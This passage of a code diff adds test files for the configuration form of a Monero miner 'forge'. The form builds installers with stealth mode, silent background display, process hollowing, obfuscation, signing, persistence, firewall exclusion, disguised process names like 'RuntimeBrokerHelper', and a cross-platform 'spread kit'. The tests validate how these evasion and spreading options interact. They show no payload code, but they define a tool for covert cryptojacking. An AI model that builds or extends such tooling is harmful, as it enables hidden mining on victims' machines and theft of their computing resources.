const total = agents.reduce((s, a) => s + a.hashrate_15m, 0);
|
||||
return agents
|
||||
.filter((a) => a.status === 'online')
|
||||
const online = agents.filter((a) => a.status === 'online');
|
||||
const total = online.reduce((s, a) => s + a.hashrate_15m, 0);
|
||||
return online
|
||||
.map((a) => ({
|
||||
id: a.id,
|
||||
name: a.name,
|
||||
|
||||
273
server/web/src/help/forgeCompatibility.test.ts
Normal file
273
server/web/src/help/forgeCompatibility.test.ts
Normal file
@@ -0,0 +1,273 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { runForgeCompatibilityChecks } from './forgeCompatibility';
|
||||
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
/** Valid mainnet-style Monero address (95 chars, starts with 4). */
|
||||
const VALID_WALLET = '4' + 'A'.repeat(94);
|
||||
|
||||
function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest {
|
||||
return {
|
||||
worker_name: 'pc-lab-1',
|
||||
server_url: 'http://192.168.1.10:8989',
|
||||
wallet: VALID_WALLET,
|
||||
pool_host: 'pool.supportxmr.com',
|
||||
pool_port: 3333,
|
||||
pool_tls: true,
|
||||
pool_pass: 'x',
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
...overrides,
|
||||
} as BuildRequest;
|
||||
}
|
||||
|
||||
function hasCheck(form: BuildRequest, fusionPrep: boolean, id: string, level?: string) {
|
||||
const checks = runForgeCompatibilityChecks(form, fusionPrep);
|
||||
const match = checks.find((c) => c.id === id);
|
||||
if (!match) return false;
|
||||
return level === undefined || match.level === level;
|
||||
}
|
||||
|
||||
describe('runForgeCompatibilityChecks', () => {
|
||||
it('returns no errors for a fully valid form', () => {
|
||||
const checks = runForgeCompatibilityChecks(baseForm(), false);
|
||||
const errors = checks.filter((c) => c.level === 'error');
|
||||
expect(errors).toHaveLength(0);
|
||||
expect(checks.some((c) => c.id === 'forge_ready' && c.level === 'ok')).toBe(true);
|
||||
});
|
||||
|
||||
describe('stealth and display', () => {
|
||||
it('errors when stealth mode uses visible display', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ stealth_mode: true, display_mode: 'visible' }), false, 'stealth_display', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when stealth mode enables file logging', () => {
|
||||
expect(hasCheck(baseForm({ stealth_mode: true, file_logging: true }), false, 'stealth_logs', 'error')).toBe(
|
||||
true
|
||||
);
|
||||
});
|
||||
|
||||
it('errors when fusion uses visible display', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ fusion_enabled: true, display_mode: 'visible' }), false, 'fusion_display', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('idle mining mode', () => {
|
||||
it('errors when idle threshold is out of range', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ mining_mode: 'idle', idle_threshold_pct: 0 }), false, 'idle_threshold', 'error')
|
||||
).toBe(true);
|
||||
expect(
|
||||
hasCheck(baseForm({ mining_mode: 'idle', idle_threshold_pct: 101 }), false, 'idle_threshold', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when idle duration is below 1 minute', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ mining_mode: 'idle', idle_duration_minutes: 0 }), false, 'idle_duration', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('does not check idle fields when mining mode is not idle', () => {
|
||||
expect(hasCheck(baseForm({ mining_mode: 'always', idle_threshold_pct: 0 }), false, 'idle_threshold')).toBe(
|
||||
false
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('scheduled mining mode', () => {
|
||||
it('errors when schedule times are missing', () => {
|
||||
expect(
|
||||
hasCheck(
|
||||
baseForm({ mining_mode: 'scheduled', schedule_start: '', schedule_end: '' }),
|
||||
false,
|
||||
'schedule',
|
||||
'error'
|
||||
)
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('passes when both schedule times are set', () => {
|
||||
expect(
|
||||
hasCheck(
|
||||
baseForm({ mining_mode: 'scheduled', schedule_start: '22:00', schedule_end: '06:00' }),
|
||||
false,
|
||||
'schedule'
|
||||
)
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('threads and CPU limits', () => {
|
||||
it('warns when adapt_to_hardware is on with fixed thread mode', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ thread_mode: 'fixed', adapt_to_hardware: true }), false, 'adapt_fixed', 'warn')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when thread percent is out of range', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ thread_mode: 'percent', thread_percent: 0 }), false, 'thread_percent_range', 'error')
|
||||
).toBe(true);
|
||||
expect(
|
||||
hasCheck(baseForm({ thread_mode: 'percent', thread_percent: 101 }), false, 'thread_percent_range', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when max CPU usage is out of range', () => {
|
||||
expect(hasCheck(baseForm({ max_cpu_usage_pct: 0 }), false, 'max_cpu', 'error')).toBe(true);
|
||||
expect(hasCheck(baseForm({ max_cpu_usage_pct: 101 }), false, 'max_cpu', 'error')).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when max memory is out of range', () => {
|
||||
expect(hasCheck(baseForm({ max_memory_percent: 9 }), false, 'max_mem', 'error')).toBe(true);
|
||||
expect(hasCheck(baseForm({ max_memory_percent: 96 }), false, 'max_mem', 'error')).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('pool configuration', () => {
|
||||
it('errors when pool port is out of range', () => {
|
||||
expect(hasCheck(baseForm({ pool_port: 0 }), false, 'pool_port', 'error')).toBe(true);
|
||||
expect(hasCheck(baseForm({ pool_port: 70000 }), false, 'pool_port', 'error')).toBe(true);
|
||||
});
|
||||
|
||||
it('warns on port 443 without TLS', () => {
|
||||
expect(hasCheck(baseForm({ pool_port: 443, pool_tls: false }), false, 'pool_tls_443', 'warn')).toBe(true);
|
||||
});
|
||||
|
||||
it('warns on TLS with port 3333', () => {
|
||||
expect(hasCheck(baseForm({ pool_port: 3333, pool_tls: true }), false, 'pool_tls_3333', 'warn')).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when pool password is empty', () => {
|
||||
expect(hasCheck(baseForm({ pool_pass: ' ' }), false, 'pool_pass', 'warn')).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('run mode and AI', () => {
|
||||
it('warns when run_as is service', () => {
|
||||
expect(hasCheck(baseForm({ run_as: 'service' }), false, 'run_as_service', 'warn')).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when AI uses 127.0.0.1 endpoint', () => {
|
||||
expect(
|
||||
hasCheck(
|
||||
baseForm({ ai_enabled: true, ai_ollama_endpoint: 'http://127.0.0.1:11434' }),
|
||||
false,
|
||||
'ai_localhost',
|
||||
'warn'
|
||||
)
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when AI is enabled without self-healing', () => {
|
||||
expect(hasCheck(baseForm({ ai_enabled: true, self_healing: false }), false, 'ai_no_heal', 'warn')).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('identity fields', () => {
|
||||
it('errors when process name is empty', () => {
|
||||
expect(hasCheck(baseForm({ process_name: ' ' }), false, 'process_name_empty', 'error')).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when process name has unusual characters', () => {
|
||||
expect(hasCheck(baseForm({ process_name: 'bad name!' }), false, 'process_name', 'warn')).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when worker name is empty', () => {
|
||||
expect(hasCheck(baseForm({ worker_name: '' }), false, 'worker_name_empty', 'error')).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when server URL uses localhost', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ server_url: 'http://localhost:8989' }), false, 'server_url_localhost', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when server URL uses 127.0.0.1', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ server_url: 'http://127.0.0.1:8989' }), false, 'server_url_localhost', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when wallet does not match Monero format', () => {
|
||||
expect(hasCheck(baseForm({ wallet: 'not-a-wallet' }), false, 'wallet_invalid', 'warn')).toBe(true);
|
||||
});
|
||||
|
||||
it('accepts minimum-length wallet (90 chars)', () => {
|
||||
const wallet = '4' + 'A'.repeat(89);
|
||||
expect(wallet.length).toBe(90);
|
||||
expect(hasCheck(baseForm({ wallet }), false, 'wallet_invalid')).toBe(false);
|
||||
});
|
||||
|
||||
it('accepts subaddress starting with 8', () => {
|
||||
const subaddress = '8' + 'B'.repeat(94);
|
||||
expect(hasCheck(baseForm({ wallet: subaddress }), false, 'wallet_invalid')).toBe(false);
|
||||
});
|
||||
|
||||
it('emits forge_ready when core config is coherent', () => {
|
||||
const checks = runForgeCompatibilityChecks(baseForm(), false);
|
||||
const ready = checks.find((c) => c.id === 'forge_ready');
|
||||
expect(ready?.level).toBe('ok');
|
||||
expect(ready?.message).toContain('Core miner config looks coherent');
|
||||
});
|
||||
});
|
||||
|
||||
describe('fusion and deliverables', () => {
|
||||
it('emits fusion_ready when prep is attached', () => {
|
||||
expect(hasCheck(baseForm({ fusion_enabled: true }), true, 'fusion_ready', 'ok')).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when spread kit targets non-universal OS', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ spread_kit: true, target_os: 'windows' }), false, 'spread_kit_os', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when spread kit and fusion are both enabled', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ spread_kit: true, fusion_enabled: true }), false, 'spread_fusion', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when universal has no spread kit or fusion', () => {
|
||||
expect(
|
||||
hasCheck(
|
||||
baseForm({ target_os: 'universal', spread_kit: false, fusion_enabled: false }),
|
||||
false,
|
||||
'universal_deliverable',
|
||||
'warn'
|
||||
)
|
||||
).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('platform-specific constraints', () => {
|
||||
it('errors when process hollowing is set on Linux', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ target_os: 'linux', process_hollowing: true }), false, 'hollow_unix', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when process hollowing is set on macOS', () => {
|
||||
expect(
|
||||
hasCheck(baseForm({ target_os: 'darwin', process_hollowing: true }), false, 'hollow_unix', 'error')
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when sign_build is set on Linux', () => {
|
||||
expect(hasCheck(baseForm({ target_os: 'linux', sign_build: true }), false, 'sign_unix', 'error')).toBe(
|
||||
true
|
||||
);
|
||||
});
|
||||
|
||||
it('errors when sign_build is set on macOS', () => {
|
||||
expect(hasCheck(baseForm({ target_os: 'darwin', sign_build: true }), false, 'sign_unix', 'error')).toBe(
|
||||
true
|
||||
);
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -190,7 +190,7 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
|
||||
checks.push({
|
||||
id: 'wallet_invalid',
|
||||
level: 'warn',
|
||||
message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 95-106). Double check it.',
|
||||
message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 90-106). Double check it.',
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
427
server/web/src/help/forgeRules.test.ts
Normal file
427
server/web/src/help/forgeRules.test.ts
Normal file
@@ -0,0 +1,427 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
FORGE_SECTIONS,
|
||||
applyForgeFieldUpdate,
|
||||
forgeBadgeLabel,
|
||||
getForgeFieldMeta,
|
||||
getForgeLiveNotices,
|
||||
type ForgeFieldBadge,
|
||||
} from './forgeRules';
|
||||
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest {
|
||||
return {
|
||||
worker_name: 'pc-lab-1',
|
||||
server_url: 'http://192.168.1.10:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
pool_host: 'pool.supportxmr.com',
|
||||
pool_port: 3333,
|
||||
pool_tls: false,
|
||||
pool_pass: 'x',
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
...overrides,
|
||||
} as BuildRequest;
|
||||
}
|
||||
|
||||
describe('FORGE_SECTIONS', () => {
|
||||
it('defines six sections in order', () => {
|
||||
expect(FORGE_SECTIONS).toHaveLength(6);
|
||||
expect(FORGE_SECTIONS.map((s) => s.id)).toEqual([
|
||||
'identity',
|
||||
'pool',
|
||||
'performance',
|
||||
'install',
|
||||
'fusion',
|
||||
'ai',
|
||||
]);
|
||||
});
|
||||
|
||||
it('each section has id, title, description, and baked badge', () => {
|
||||
for (const section of FORGE_SECTIONS) {
|
||||
expect(section.id.length).toBeGreaterThan(0);
|
||||
expect(section.title.length).toBeGreaterThan(0);
|
||||
expect(section.description.length).toBeGreaterThan(0);
|
||||
expect(section.badge).toBe('baked');
|
||||
}
|
||||
});
|
||||
|
||||
it('uses expected section titles', () => {
|
||||
const titles = Object.fromEntries(FORGE_SECTIONS.map((s) => [s.id, s.title]));
|
||||
expect(titles.identity).toBe('Identity');
|
||||
expect(titles.pool).toBe('Pool Configuration');
|
||||
expect(titles.performance).toBe('Performance & Resources');
|
||||
expect(titles.install).toBe('Install & Process');
|
||||
expect(titles.fusion).toBe('Fusion');
|
||||
expect(titles.ai).toBe('AI Autonomy');
|
||||
});
|
||||
});
|
||||
|
||||
describe('forgeBadgeLabel', () => {
|
||||
const cases: [ForgeFieldBadge, string][] = [
|
||||
['baked', 'Baked into installer'],
|
||||
['server-only', 'Server folder only — not in .exe'],
|
||||
['requires', 'Required when parent option is on'],
|
||||
];
|
||||
|
||||
it.each(cases)('maps %s badge to label', (badge, label) => {
|
||||
expect(forgeBadgeLabel(badge)).toBe(label);
|
||||
});
|
||||
});
|
||||
|
||||
describe('applyForgeFieldUpdate', () => {
|
||||
it('stealth_mode disables logging and forces silent/background', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({ display_mode: 'visible', file_logging: true, silent_mode: false }),
|
||||
'stealth_mode',
|
||||
true
|
||||
);
|
||||
expect(out.stealth_mode).toBe(true);
|
||||
expect(out.file_logging).toBe(false);
|
||||
expect(out.display_mode).toBe('background');
|
||||
expect(out.silent_mode).toBe(true);
|
||||
});
|
||||
|
||||
it('display_mode visible clears stealth and silent', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({ stealth_mode: true, silent_mode: true }),
|
||||
'display_mode',
|
||||
'visible'
|
||||
);
|
||||
expect(out.display_mode).toBe('visible');
|
||||
expect(out.stealth_mode).toBe(false);
|
||||
expect(out.silent_mode).toBe(false);
|
||||
});
|
||||
|
||||
it('display_mode silent/background enables silent_mode', () => {
|
||||
expect(applyForgeFieldUpdate(baseForm({ silent_mode: false }), 'display_mode', 'silent').silent_mode).toBe(
|
||||
true
|
||||
);
|
||||
expect(
|
||||
applyForgeFieldUpdate(baseForm({ silent_mode: false }), 'display_mode', 'background').silent_mode
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it('persistence and auto_start stay linked', () => {
|
||||
expect(applyForgeFieldUpdate(baseForm({ auto_start: false }), 'persistence', true).auto_start).toBe(true);
|
||||
expect(applyForgeFieldUpdate(baseForm({ persistence: false }), 'auto_start', true).persistence).toBe(true);
|
||||
});
|
||||
|
||||
it('linux target clears Windows-only flags and fixes install base', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({
|
||||
target_os: 'windows',
|
||||
process_hollowing: true,
|
||||
sign_build: true,
|
||||
obfuscate: true,
|
||||
install_base: 'localappdata',
|
||||
}),
|
||||
'target_os',
|
||||
'linux'
|
||||
);
|
||||
expect(out.target_os).toBe('linux');
|
||||
expect(out.target_arch).toBe('amd64');
|
||||
expect(out.process_hollowing).toBe(false);
|
||||
expect(out.sign_build).toBe(false);
|
||||
expect(out.obfuscate).toBe(false);
|
||||
expect(out.spread_kit).toBe(false);
|
||||
expect(out.install_base).toBe('xdg_data_home');
|
||||
});
|
||||
|
||||
it('darwin target defaults to arm64', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm(), 'target_os', 'darwin');
|
||||
expect(out.target_os).toBe('darwin');
|
||||
expect(out.target_arch).toBe('arm64');
|
||||
});
|
||||
|
||||
it('windows target restores localappdata from xdg path', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ install_base: 'xdg_data_home' }), 'target_os', 'windows');
|
||||
expect(out.target_os).toBe('windows');
|
||||
expect(out.target_arch).toBe('all');
|
||||
expect(out.install_base).toBe('localappdata');
|
||||
});
|
||||
|
||||
it('universal target on single deliverable normalizes back to windows', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm(), 'target_os', 'universal');
|
||||
expect(out.target_os).toBe('windows');
|
||||
expect(out.target_arch).toBe('all');
|
||||
});
|
||||
|
||||
it('universal target stays when spread kit is active', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ spread_kit: true }), 'target_os', 'universal');
|
||||
expect(out.target_os).toBe('universal');
|
||||
expect(out.target_arch).toBe('all');
|
||||
});
|
||||
|
||||
it('fusion_enabled forces background, clears spread kit, and universal target', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({ spread_kit: true, display_mode: 'visible', target_os: 'windows' }),
|
||||
'fusion_enabled',
|
||||
true
|
||||
);
|
||||
expect(out.fusion_enabled).toBe(true);
|
||||
expect(out.display_mode).toBe('background');
|
||||
expect(out.silent_mode).toBe(true);
|
||||
expect(out.spread_kit).toBe(false);
|
||||
expect(out.target_os).toBe('universal');
|
||||
});
|
||||
|
||||
it('spread_kit applies full preset and clears fusion', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ fusion_enabled: true }), 'spread_kit', true);
|
||||
expect(out.spread_kit).toBe(true);
|
||||
expect(out.fusion_enabled).toBe(false);
|
||||
expect(out.target_os).toBe('universal');
|
||||
expect(out.target_arch).toBe('all');
|
||||
expect(out.run_as).toBe('scheduled');
|
||||
expect(out.persistence).toBe(true);
|
||||
expect(out.auto_start).toBe(true);
|
||||
expect(out.self_healing).toBe(true);
|
||||
expect(out.stealth_mode).toBe(true);
|
||||
expect(out.silent_mode).toBe(true);
|
||||
expect(out.file_logging).toBe(false);
|
||||
expect(out.firewall_exclusion).toBe(true);
|
||||
expect(out.display_mode).toBe('background');
|
||||
expect(out.process_hollowing).toBe(false);
|
||||
});
|
||||
|
||||
it('thread_mode fixed sets minimum threads', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ threads: 0 }), 'thread_mode', 'fixed');
|
||||
expect(out.thread_mode).toBe('fixed');
|
||||
expect(out.threads).toBeGreaterThanOrEqual(1);
|
||||
});
|
||||
|
||||
it('thread_mode percent clamps invalid thread_percent', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ thread_percent: 0 }), 'thread_mode', 'percent');
|
||||
expect(out.thread_percent).toBe(75);
|
||||
});
|
||||
|
||||
it('install_base non-custom clears custom path', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({ install_custom_base: 'C:\\custom', install_base: 'custom' }),
|
||||
'install_base',
|
||||
'localappdata'
|
||||
);
|
||||
expect(out.install_base).toBe('localappdata');
|
||||
expect(out.install_custom_base).toBe('');
|
||||
});
|
||||
|
||||
it('run_as scheduled/service forces persistence flags', () => {
|
||||
const scheduled = applyForgeFieldUpdate(baseForm({ persistence: false, auto_start: false }), 'run_as', 'scheduled');
|
||||
expect(scheduled.persistence).toBe(true);
|
||||
expect(scheduled.auto_start).toBe(true);
|
||||
|
||||
const service = applyForgeFieldUpdate(baseForm({ persistence: false }), 'run_as', 'service');
|
||||
expect(service.persistence).toBe(true);
|
||||
expect(service.auto_start).toBe(true);
|
||||
});
|
||||
|
||||
it('ai_enabled fills default endpoint and model when empty', () => {
|
||||
const out = applyForgeFieldUpdate(
|
||||
baseForm({ ai_ollama_endpoint: '', ai_model: '' }),
|
||||
'ai_enabled',
|
||||
true
|
||||
);
|
||||
expect(out.ai_enabled).toBe(true);
|
||||
expect(out.ai_ollama_endpoint).toBe('http://localhost:11434');
|
||||
expect(out.ai_model).toBe('llama3.2');
|
||||
});
|
||||
|
||||
it('pool_port 443 auto-enables TLS', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ pool_tls: false }), 'pool_port', 443);
|
||||
expect(out.pool_port).toBe(443);
|
||||
expect(out.pool_tls).toBe(true);
|
||||
});
|
||||
|
||||
it('worker_name update does not auto-derive process_name', () => {
|
||||
const out = applyForgeFieldUpdate(baseForm({ process_name: 'RuntimeBrokerHelper' }), 'worker_name', 'new-worker');
|
||||
expect(out.worker_name).toBe('new-worker');
|
||||
expect(out.process_name).toBe('RuntimeBrokerHelper');
|
||||
});
|
||||
});
|
||||
|
||||
describe('getForgeFieldMeta', () => {
|
||||
it('returns meta for all known forge fields', () => {
|
||||
const meta = getForgeFieldMeta(baseForm());
|
||||
const expectedKeys = [
|
||||
'worker_name',
|
||||
'server_url',
|
||||
'wallet',
|
||||
'output_dir',
|
||||
'pool_host',
|
||||
'pool_port',
|
||||
'thread_mode',
|
||||
'thread_percent',
|
||||
'threads',
|
||||
'fusion_enabled',
|
||||
'spread_kit',
|
||||
'target_os',
|
||||
'target_arch',
|
||||
'obfuscate',
|
||||
'sign_build',
|
||||
];
|
||||
for (const key of expectedKeys) {
|
||||
expect(meta[key]).toBeDefined();
|
||||
}
|
||||
});
|
||||
|
||||
it('disables thread_percent when thread mode is fixed', () => {
|
||||
const meta = getForgeFieldMeta(baseForm({ thread_mode: 'fixed' }));
|
||||
expect(meta.thread_percent.disabled).toBe(true);
|
||||
expect(meta.threads.disabled).toBe(false);
|
||||
expect(meta.adapt_to_hardware.disabled).toBe(true);
|
||||
});
|
||||
|
||||
it('disables threads when thread mode is percent', () => {
|
||||
const meta = getForgeFieldMeta(baseForm({ thread_mode: 'percent' }));
|
||||
expect(meta.threads.disabled).toBe(true);
|
||||
expect(meta.thread_percent.disabled).toBe(false);
|
||||
});
|
||||
|
||||
it('disables idle fields unless mining mode is idle', () => {
|
||||
const idle = getForgeFieldMeta(baseForm({ mining_mode: 'idle' }));
|
||||
expect(idle.idle_threshold_pct.disabled).toBe(false);
|
||||
expect(idle.idle_duration_minutes.disabled).toBe(false);
|
||||
|
||||
const always = getForgeFieldMeta(baseForm({ mining_mode: 'always' }));
|
||||
expect(always.idle_threshold_pct.disabled).toBe(true);
|
||||
expect(always.idle_duration_minutes.disabled).toBe(true);
|
||||
});
|
||||
|
||||
it('disables schedule fields unless mining mode is scheduled', () => {
|
||||
const scheduled = getForgeFieldMeta(baseForm({ mining_mode: 'scheduled' }));
|
||||
expect(scheduled.schedule_start.disabled).toBe(false);
|
||||
expect(scheduled.schedule_end.disabled).toBe(false);
|
||||
|
||||
const always = getForgeFieldMeta(baseForm({ mining_mode: 'always' }));
|
||||
expect(always.schedule_start.disabled).toBe(true);
|
||||
});
|
||||
|
||||
it('locks file_logging under stealth mode', () => {
|
||||
const meta = getForgeFieldMeta(baseForm({ stealth_mode: true }));
|
||||
expect(meta.file_logging.disabled).toBe(true);
|
||||
expect(meta.file_logging.lockedReason).toContain('Stealth mode');
|
||||
});
|
||||
|
||||
it('locks persistence under scheduled/service run_as', () => {
|
||||
const meta = getForgeFieldMeta(baseForm({ run_as: 'scheduled' }));
|
||||
expect(meta.persistence.disabled).toBe(true);
|
||||
expect(meta.auto_start.disabled).toBe(true);
|
||||
});
|
||||
|
||||
it('locks fusion when spread kit is on and vice versa', () => {
|
||||
const spread = getForgeFieldMeta(baseForm({ spread_kit: true }));
|
||||
expect(spread.fusion_enabled.disabled).toBe(true);
|
||||
expect(spread.target_os.disabled).toBe(true);
|
||||
|
||||
const fusion = getForgeFieldMeta(baseForm({ fusion_enabled: true }));
|
||||
expect(fusion.spread_kit.disabled).toBe(true);
|
||||
expect(fusion.target_os.disabled).toBe(true);
|
||||
});
|
||||
|
||||
it('requires fusion fields only when fusion is enabled', () => {
|
||||
const off = getForgeFieldMeta(baseForm({ fusion_enabled: false }));
|
||||
expect(off.fusion_prep.disabled).toBe(true);
|
||||
expect(off.fusion_run_order.badge).toBe('requires');
|
||||
|
||||
const on = getForgeFieldMeta(baseForm({ fusion_enabled: true }));
|
||||
expect(on.fusion_prep.disabled).toBe(false);
|
||||
});
|
||||
|
||||
it('disables unix-incompatible fields on linux/darwin', () => {
|
||||
const linux = getForgeFieldMeta(baseForm({ target_os: 'linux' }));
|
||||
expect(linux.process_hollowing.disabled).toBe(true);
|
||||
expect(linux.obfuscate.disabled).toBe(true);
|
||||
expect(linux.target_arch.disabled).toBe(false);
|
||||
|
||||
const windows = getForgeFieldMeta(baseForm({ target_os: 'windows' }));
|
||||
expect(windows.target_arch.disabled).toBe(true);
|
||||
expect(windows.sign_build.disabled).toBe(false);
|
||||
});
|
||||
|
||||
it('marks output_dir and obfuscate as server-only', () => {
|
||||
const meta = getForgeFieldMeta(baseForm());
|
||||
expect(meta.output_dir.badge).toBe('server-only');
|
||||
expect(meta.obfuscate.badge).toBe('server-only');
|
||||
});
|
||||
});
|
||||
|
||||
describe('getForgeLiveNotices', () => {
|
||||
it('returns empty array for a plain windows form', () => {
|
||||
const notices = getForgeLiveNotices(baseForm({ target_os: 'windows', spread_kit: false }), false);
|
||||
expect(notices).toEqual([]);
|
||||
});
|
||||
|
||||
it('warns about service run mode', () => {
|
||||
const notices = getForgeLiveNotices(baseForm({ run_as: 'service' }), false);
|
||||
expect(notices.some((n) => n.includes('scheduled task'))).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when scheduled/service lacks persistence', () => {
|
||||
const notices = getForgeLiveNotices(
|
||||
baseForm({ run_as: 'scheduled', persistence: false }),
|
||||
false
|
||||
);
|
||||
expect(notices.some((n) => n.includes('Persistence is forced on'))).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when fusion enabled without prep upload', () => {
|
||||
const notices = getForgeLiveNotices(baseForm({ fusion_enabled: true }), false);
|
||||
expect(notices.some((n) => n.includes('upload prep.exe'))).toBe(true);
|
||||
});
|
||||
|
||||
it('includes AI Ollama notice when AI is enabled', () => {
|
||||
const notices = getForgeLiveNotices(baseForm({ ai_enabled: true }), false);
|
||||
expect(notices.some((n) => n.includes('Ollama'))).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when fixed threads ignores adapt_to_hardware', () => {
|
||||
const notices = getForgeLiveNotices(
|
||||
baseForm({ thread_mode: 'fixed', adapt_to_hardware: true }),
|
||||
false
|
||||
);
|
||||
expect(notices.some((n) => n.includes('Adapt to hardware'))).toBe(true);
|
||||
});
|
||||
|
||||
it('warns on pool TLS/port mismatches', () => {
|
||||
const p443 = getForgeLiveNotices(baseForm({ pool_port: 443, pool_tls: false }), false);
|
||||
expect(p443.some((n) => n.includes('Port 443'))).toBe(true);
|
||||
|
||||
const p3333 = getForgeLiveNotices(baseForm({ pool_port: 3333, pool_tls: true }), false);
|
||||
expect(p3333.some((n) => n.includes('3333'))).toBe(true);
|
||||
});
|
||||
|
||||
it('warns on low max CPU with high thread percent', () => {
|
||||
const notices = getForgeLiveNotices(
|
||||
baseForm({ max_cpu_usage_pct: 20, thread_percent: 80, thread_mode: 'percent' }),
|
||||
false
|
||||
);
|
||||
expect(notices.some((n) => n.includes('throttling'))).toBe(true);
|
||||
});
|
||||
|
||||
it('describes universal, spread kit, and fusion deliverables', () => {
|
||||
const universal = getForgeLiveNotices(baseForm({ target_os: 'universal' }), false);
|
||||
expect(universal.some((n) => n.includes('Windows, Linux, and macOS'))).toBe(true);
|
||||
|
||||
const spread = getForgeLiveNotices(baseForm({ spread_kit: true, target_os: 'universal' }), false);
|
||||
expect(spread.some((n) => n.includes('Spread Kit'))).toBe(true);
|
||||
|
||||
const fusion = getForgeLiveNotices(baseForm({ fusion_enabled: true, target_os: 'universal' }), true);
|
||||
expect(fusion.some((n) => n.includes('Fusion builds a universal ZIP'))).toBe(true);
|
||||
});
|
||||
|
||||
it('notes single-platform unix install paths', () => {
|
||||
const linux = getForgeLiveNotices(baseForm({ target_os: 'linux' }), false);
|
||||
expect(linux.some((n) => n.includes('linux worker'))).toBe(true);
|
||||
|
||||
const darwin = getForgeLiveNotices(baseForm({ target_os: 'darwin' }), false);
|
||||
expect(darwin.some((n) => n.includes('darwin worker'))).toBe(true);
|
||||
});
|
||||
|
||||
it('warns on universal without deliverable type', () => {
|
||||
const notices = getForgeLiveNotices(
|
||||
baseForm({ target_os: 'universal', fusion_enabled: false, spread_kit: false }),
|
||||
false
|
||||
);
|
||||
expect(notices.some((n) => n.includes('without Spread Kit or Fusion'))).toBe(true);
|
||||
});
|
||||
});
|
||||
133
server/web/src/help/settingHelp.test.ts
Normal file
133
server/web/src/help/settingHelp.test.ts
Normal file
@@ -0,0 +1,133 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { FIELD_HELP, SETUP_CHEATSHEET } from './settingHelp';
|
||||
|
||||
describe('SETUP_CHEATSHEET', () => {
|
||||
it('defines four setup steps in order', () => {
|
||||
expect(SETUP_CHEATSHEET).toHaveLength(4);
|
||||
expect(SETUP_CHEATSHEET.map((s) => s.title)).toEqual([
|
||||
'1. Calibrate once',
|
||||
'2. Forge (Simple mode)',
|
||||
'3. Deploy',
|
||||
'4. Watch the fleet',
|
||||
]);
|
||||
});
|
||||
|
||||
it('each step has non-empty title and body', () => {
|
||||
